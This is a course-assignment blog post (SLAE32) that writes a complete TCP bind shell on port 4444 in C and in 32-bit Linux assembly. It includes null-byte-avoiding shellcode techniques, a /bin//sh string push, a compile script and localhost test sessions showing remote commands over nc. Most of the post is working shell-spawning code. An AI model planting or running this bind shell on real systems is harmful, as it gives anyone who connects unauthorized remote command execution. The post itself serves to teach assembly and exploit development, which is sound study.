Post

SLAE32 - Assignment #1 - TCP Bind Shell

Introduction

This is the blog post for the 1st Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.

The purpose of this assignment is to create a TCP Bind Shell. A Bind Shell has a listener running on the target machine, by opening a port, and the attacker connects to that listener in order to gain a remote shell. The communication happens over the TCP protocol.

My code can be found in my Github: geobour98’s Github.

TCP Bind Shell in C

The easiest way, in my opinion, to create a TCP Bind Shell in Assembly is to first create it in C and then “translate” it to ASM code.

In order create the TCP Bind Shell, a few Linux system calls (syscalls) will be used. They can be found in the following table:

SyscallUsage
socketCreates an endpoint for communication
bindBinds (assigns) a name to a socket
listenListens for connections on a socket
accept4Accepts a connection on a socket
dup2Duplicates a file descriptor
execveExecutes a program

Create a socket:

1
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

Bind a name to the socket, initializing the structure for the TCP/IP address:

1
2
3
4
5
6
7
struct sockaddr_in address = {
	.sin_family = AF_INET,
	.sin_port = htons(4444),
	.sin_addr = INADDR_ANY
};

bind(sockfd, (struct sockaddr*) &address, sizeof(address));

Listen for connections on the socket:

1
listen(sockfd, 0);

Accept a connection on the socket:

1
int acceptfd = accept4(sockfd, NULL, NULL, 0);

Duplicate STDIN, STDOUT and STDERR file descriptors in order to redirect everything to the socket connected:

1
2
3
dup2(acceptfd, 0);
dup2(acceptfd, 1);
dup2(acceptfd, 2);

Execute the /bin/sh program:

1
execve("/bin/sh", NULL, NULL);

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// TCP Bind Shell
// Author: geobour98

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	
	int sockfd = socket(AF_INET, SOCK_STREAM, 0);

	struct sockaddr_in address = {
		.sin_family = AF_INET,
		.sin_port = htons(4444),
		.sin_addr = INADDR_ANY
	};

	bind(sockfd, (struct sockaddr*) &address, sizeof(address));

	listen(sockfd, 0);

	int acceptfd = accept4(sockfd, NULL, NULL, 0);

	dup2(acceptfd, 0);
	dup2(acceptfd, 1);
	dup2(acceptfd, 2);

	execve("/bin/sh", NULL, NULL);
	
	return 0;
}

Syscall Arguments

The arguments and their values for the syscalls will be explained later in the creation of the TCP Bind Shell in Assembly.

In order to prove that the Bind Shell is working we have to compile the C program using the GNU Compiler (gcc):

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ gcc bind-c.c -o bind-c

First, bind-c gets executed and waits for connections:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./bind-c

Then, in another terminal netstat is used to display all active TCP connections in listening mode. The connection happens with nc on port 4444 and the commands id and ls are executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
geobour98@slae32-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      5268/bind-c     
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
geobour98@slae32-dev:~$ 
geobour98@slae32-dev:~$ nc 127.0.0.1 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae32-dev:~$

TCP Bind Shell in Assembly

In order to implement the syscalls in Assembly, we have to find their defined numbers. These are located at the header file: /usr/include/i386-linux-gnu/asm/unistd_32.h.

The syscalls and their definitions can be found in the following table:

SyscallDefinition
socket#define __NR_socket 359
bind#define __NR_bind 361
listen#define __NR_listen 363
accept4#define __NR_accept4 364
dup2#define __NR_dup2 63
execve#define __NR_execve 11

Now we have to find the arguments and their values in order to be used in the syscalls.

  • Syscall socket:
1
int socket(int domain, int type, int protocol);

The domain argument specifies a communication domain. Since we operate through IPv4 protocol, we will use the AF_INET address family, which according to the socket header file: /usr/include/i386-linux-gnu/bits/socket.h belongs to the PF_INET protocol family. This protocol family is represented by the number 2.

The type argument specifies the communication semantics. We will use SOCK_STREAM, since it provides sequenced, reliable, two-way, connection-based byte streams. According to the socket_type header file: /usr/include/i386-linux-gnu/bits/socket_type.h, SOCK_STREAM is represented by the number 1.

The protocol argument specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.

The return value from socket is a file descriptor for the new socket, if socket was executed successfully.

  • Syscall bind:
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

The sockfd argument is the file descriptor returned from socket execution. It is an integer value.

The *addr argument is the address structure that will be assigned to the socket. The structure consists of 3 values. The first value is the AF_INET, which from before is the number 2. The second value is the port that will be opened in order to listen for connections, which in our case is 4444. The third value is the interface that the socket will listen on. We provide the value 0 in order to listen on all interfaces (0.0.0.0).

The addrlen argument is the size, in bytes, of the address structure pointed to by addr. According to the header file: /usr/include/linux/in.h the size is 16 bytes.

  • Syscall listen:
1
int listen(int sockfd, int backlog);

The sockfd argument is the integer value that is returned from the socket execution.

The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow. We don’t need it in our case, so we pass to it the value 0.

  • Syscall accept4:
1
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

The sockfd argument again is the integer value that is returned from the socket execution.

The *addr argument is a pointer to a sockaddr structure. The addr is NULL, when nothing is filled in.

When *addr is NULL, it means that the argument addrlen is not used and should also be NULL.

The flags argument is 0, because we want accept4 to be the same as accept.

On success, accept4 returns a nonnegative integer that is a descriptor for the accepted socket.

  • Syscall dup2:
1
int dup2(int oldfd, int newfd);

The argument oldfd is the nonnegative integer returned from accept4.

If the descriptor newfd was previously open, it is silently closed before being reused. If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2 does nothing, and returns newfd. We execute dup2 3 times in order to pass the values: 0 for STDIN, 1 for STDOUT and 2 for STDERR.

On success dup2 returns the new descriptor.

  • Syscall execve:
1
int execve(const char *filename, char *const argv[], char *const envp[]);

The *filename argument must be either a binary executable or a script, so we pass to it the executable “bin/sh”.

The argv argument is an array of argument strings passed to the new program. The envp argument is an array of strings, conventionally of the form “key=value”, which are passed as environment to the new program. Since we don’t need any of these we pass the value NULL.

Assembly in Detail

Now we will examine the Assembly instructions in detail.

  • Syscall socket

We first clear the register EAX and then pass the hexadecimal value 0x167, which in decimal is 359. That value is passed to the AX part of the EAX register, which contains the 16 less significant bits. The decimal 359 needs 9 bits in order to be represented in binary and since we must use registers with integer size multiple to 8, we need 16 bits. If we reserved the whole EAX register, then nullbytes (0x00) would be put in the 16 more significant bits that would break our shellcode.

1
2
	xor eax, eax
	mov ax, 0x167		; 167 is the hex value of the decimal 359 for socket

Then we clear the EBX register and pass to BL the value 2, since there is the PF_INET protocol family.

1
2
	xor ebx, ebx
	mov bl, 0x2		; AF_INET numeric value from PF_INET protocol family

After that, we clear the ECX register and pass to CL the value 1, since this is the value of SOCK_STREAM constant.

1
2
	xor ecx, ecx
	mov cl, 0x1		; SOCK_STREAM constant from socket_type.h

We clear the EDX register and the value 0, because of the single protocol, is passed as the third argument to socket syscall.

1
	xor edx, edx		; 0 value because of single protocol

Then, in order to actulally execute the syscall, we run the following instruction:

1
	int 0x80		; exec socket syscall

That instruction will be invoked after declaring the arguments of each syscall in order to be executed.

The socket syscall returns a file descriptor (sockfd), so we copy it to the EBX register, since the result of the syscall is saved in the EAX register by default.

1
	mov ebx, eax		; move sockfd (file descriptor) value into ebx
  • Syscall bind

We clear the EAX register and then pass the hexadecimal value 0x169, which in decimal is 361. Note that these values come from the table with the syscalls and their definitions from above.

1
2
	xor eax, eax
	mov ax, 0x169		; 169 is the hex value of the decimal 361 for bind

Stack vs Registers

When we use the stack, as we will for the following arguments, we push the arguments from last to first, since it is Last In First Out data stucture. That’s not the case with registers, since each argument needs to be stored in a specific register.

We start with the values for the address structure.

Since the register EDX already contains the value 0, we push it to the stack, so the socket listens on all interfaces (0.0.0.0).

1
	push edx 		; listens on all addresses (0.0.0.0)

Then, since we are dealing with little endianness the port with decimal value 4444 and hexadecimal 115c, becomes 5c11.

1
	push word 0x5c11	; listen on port 4444 (little endian)

After that, we push the value 2 for the AF_INET constant.

1
	push word 0x2		; AF_INET constant

We clear the ECX register, and save the value of the Stack Pointer (ESP register) there. So now ECX points at the top of the stack.

1
2
	xor ecx, ecx
	mov ecx, esp		; ecx now points at address struct at the top of the stack

Now the values for the struct are defined.

The EBX register already contains the value of sockfd from socket.

The ECX register already points at the beginning of the struct in the stack.

We clear the EDX register, and pass the hexadecimal value 0x10 (16 in decimal), since that is the size of the address struct.

1
2
	xor edx, edx
	mov dl, 0x10		; 10 is the decimal 16 that is the size of the address struct

The final step for the bind syscall is to invoke a syscall interrupt by the next instruction:

1
	int 0x80		; exec bind syscall

Then we clear the ECX register.

1
	xor ecx, ecx		; clear ecx
  • Syscall listen

We clear the EAX register, and then pass to AX the hexadecimal value 0x16b (363 in decimal) as the definition number for listen syscall.

1
2
	xor eax, eax
	mov ax, 0x16b		; 16b is the hex value of the decimal 363 for listen

Then we clear the EDX register and push the value 0 to the stack for the backlog value, which was discussed before.

1
2
	xor edx, edx
	push edx		; backlog value is 0

Then, since the register EBX still holds the sockfd value, we push it to the stack (as the first argument for the listen syscall).

1
	push ebx		; sockfd

Finally, we invoke a syscall interrupt for the listen to be executed.

1
	int 0x80		; exec listen syscall
  • Syscall accept4

We clear the EAX register and pass the hexadecimal value 0x16c (364 in decimal) to AX as the definition number for accept4 syscall.

1
2
	xor eax, eax
	mov ax, 0x16c		; 16c is the hex value of the decimal 364 for accept4

The last argument for accept4, which is flags, needs to have value 0. The arguments addr and addrlen have both NULL value. Since the register EDX is already cleared we push its value (0x00) to the stack 3 times.

1
2
3
	push edx		; 0
	push edx		; NULL argument
	push edx		; NULL argument

Then, we push the value sockfd from the EBX register to the stack, as the first argument for accept4.

1
	push ebx		; sockfd

Finally, the accept4 syscall gets executed.

1
	int 0x80		; exec accept4 syscall
  • Syscall dup2

Since we need the return value from accept4 for the dup2 syscall, we copy the result from EAX register to EBX.

1
	mov ebx, eax		; acceptfd

We create a loop that will execute dup2 3 times for STDERR, STDOUT and STDIN respectively. So, we clear the ECX register and pass the value 0x3 to CL, which is the counter for the loop.

1
2
	xor ecx, ecx
	mov cl, 0x3		; set counter to 3

We first declare the procedure dup2loop, which acts like a function, where we clear the EAX register and pass to AL the hexadecimal value 0x3f (63 in decimal) as the dup2 syscall number. Then, we decrement the counter (CL) by 1, so in the first iteration the value inside CL will be 2, representing the STDERR. 2 more iterations will happen with value 1 and 0 for STDOUT and STDIN respectively. Each iteration is finished by executing the dup2 syscall and by creating a conditional instruction. That instruction checks if the Zero Flag (ZF) is set, meaning it has value 0, and if it is the loop is stopped and the execution is continued. If it is not 0 a jump happens back to dup2loop. In the third iteration, CL is decremented to 0, so the ZF is set, and the execution will continue to the next instructions and there will not be a jump back to dup2loop.

1
2
3
4
5
6
7
8
9
dup2loop:
	xor eax, eax
	mov al, 0x3f		; 3f is the hex value of the decimal 63 for dup2

	dec cl			; decrement counter by 1

	int 0x80		; exec dup2 syscall

	jnz dup2loop		; jump to loop if ZF is not zero, else continue
  • Syscall execve

We clear the EAX register and pass the hexadecimal value 0xb (11 in decimal) to AL as the execve syscall number.

1
2
	xor eax, eax
	mov al, 0xb		; b is the hex value of the decimal 11 for execve

Then we clear the EBX register. The last 2 arguments of execve have NULL values, so we push the EBX value to the stack twice. Also, the executable “/bin/sh” must be null terminated, so we push one more time the EBX value to the stack.

1
2
3
4
	xor ebx, ebx
	push ebx		; NULL argument
	push ebx		; NULL argument
	push ebx		; null terminator

Since “/bin/sh” is only 7 bytes, we need to make it 8 bytes. That is because when a string is pushed to the stack it must be multiplied by 4. The safest way to do that, without breaking any functionality, is to add a /. So the string /bin/sh becomes /bin//sh. The following string would be valid too //bin/sh. Since we are dealing with the stack again, the string must be reversed first. The next python script will help achieve that.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python

import sys

input = sys.argv[1]

print 'String length: ' + str(len(input))

stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1]:
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

We run the above script by providing the string we want to be reversed.

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./reverse.py "/bin//sh"
String length: 8
hs// : 68732f2f
nib/ : 6e69622f

Now the string is represented as hex and we can push it to the stack. So we push first the string “hs//” and then the string “nib/”.

1
2
3
        ; PUSH /bin//sh
        push 0x68732f2f		; "hs//"
        push 0x6e69622f		; "nib/"

Finally, we save ESP value to the EBX register in order to point at the top of the stack and execute the execve syscall.

1
2
3
	mov ebx, esp		; ebx points at "/bin//sh" at the top of the stack

	int 0x80		; exec execve syscall

The whole Assembly program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
; TCP Bind Shell
; Author: geobour98 

global _start

section .text

_start:
	; socket 
	xor eax, eax
	mov ax, 0x167		; 167 is the hex value of the decimal 359 for socket

	xor ebx, ebx
	mov bl, 0x2		; AF_INET numeric value from PF_INET protocol family

	xor ecx, ecx
	mov cl, 0x1		; SOCK_STREAM constant from socket_type.h

	xor edx, edx		; 0 value because of single protocol	

	int 0x80		; exec socket syscall 

	mov ebx, eax		; move sockfd (file descriptor) value into ebx

	; bind
	xor eax, eax
	mov ax, 0x169		; 169 is the hex value of the decimal 361 for bind
	
	push edx 		; listens on all addresses (0.0.0.0)

	push word 0x5c11	; listen on port 4444 (little endian)

	push word 0x2		; AF_INET constant
	
	xor ecx, ecx
	mov ecx, esp		; ecx now points at address struct at the top of the stack

	xor edx, edx
	mov dl, 0x10		; 10 is the decimal 16 that is the size of the address struct

	int 0x80		; exec bind syscall

	xor ecx, ecx		; clear ecx

	; listen
	xor eax, eax
	mov ax, 0x16b		; 16b is the hex value of the decimal 363 for listen

	xor edx, edx
	push edx		; backlog value is 0

	push ebx		; sockfd
	
	int 0x80		; exec listen syscall

	; accept4
	xor eax, eax
	mov ax, 0x16c		; 16c is the hex value of the decimal 364 for accept4

	push edx		; 0
	push edx		; NULL argument
	push edx		; NULL argument

	push ebx		; sockfd

	int 0x80		; exec accept4 syscall

	mov ebx, eax		; acceptfd

	; dup2 loop
	xor ecx, ecx
	mov cl, 0x3		; set counter to 3

dup2loop:
	xor eax, eax
	mov al, 0x3f		; 3f is the hex value of the decimal 63 for dup2

	dec cl			; decrement counter by 1

	int 0x80		; exec dup2 syscall

	jnz dup2loop		; jump to loop if ZF is not zero, else continue

	; execve
	xor eax, eax
	mov al, 0xb		; b is the hex value of the decimal 11 for execve        

	xor ebx, ebx
	push ebx		; NULL argument
	push ebx		; NULL argument
	push ebx		; null terminator

        ; PUSH /bin//sh
        push 0x68732f2f		; "hs//"
        push 0x6e69622f		; "nib/"

	mov ebx, esp		; ebx points at "/bin//sh" at the top of the stack

	int 0x80		; exec execve syscall

Testing the Bind Shell

In order to test Bind Shell, we need to compile it. Compilation process consists of 2 separate processes:

  • Assembling: can happen with the nasm assembler, which assembles the input file (.nasm) and directs output to the output file (.o) if specified. It basically “translates” the Assembly code.
  • Linking: can happen with the GNU linker ld, which combines a number of object and archive files, relocates their data and ties up symbol references. It basically provides information such as where the entry point of a program is. By default the entry point is _start but this can be changed.

The following bash script automates that process:

1
2
3
4
5
6
7
8
9
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -felf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'

The following command does the compilation and creates the executable bind:

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./compile.sh bind
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

We test the Bind Shell by executing in one terminal window the bind executable and in another we execute netstat to display all active TCP connections in listening mode and id and ls commands.

1st window:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/1_Shell_bind_tcp$ ./bind

2nd window:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
geobour98@slae32-dev:~$ netstat -tanlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      3151/bind       
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
geobour98@slae32-dev:~$ nc 127.0.0.1 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind
bind-c
bind-c.c
bind.nasm
bind.o
compile.sh
reverse.py
exit
geobour98@slae32-dev:~$

Summary

We have a working TCP Bind Shell that binds on port 4444 and we can execute commands after connecting to it.

Next will be the TCP Reverse Shell!

SLAE32 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.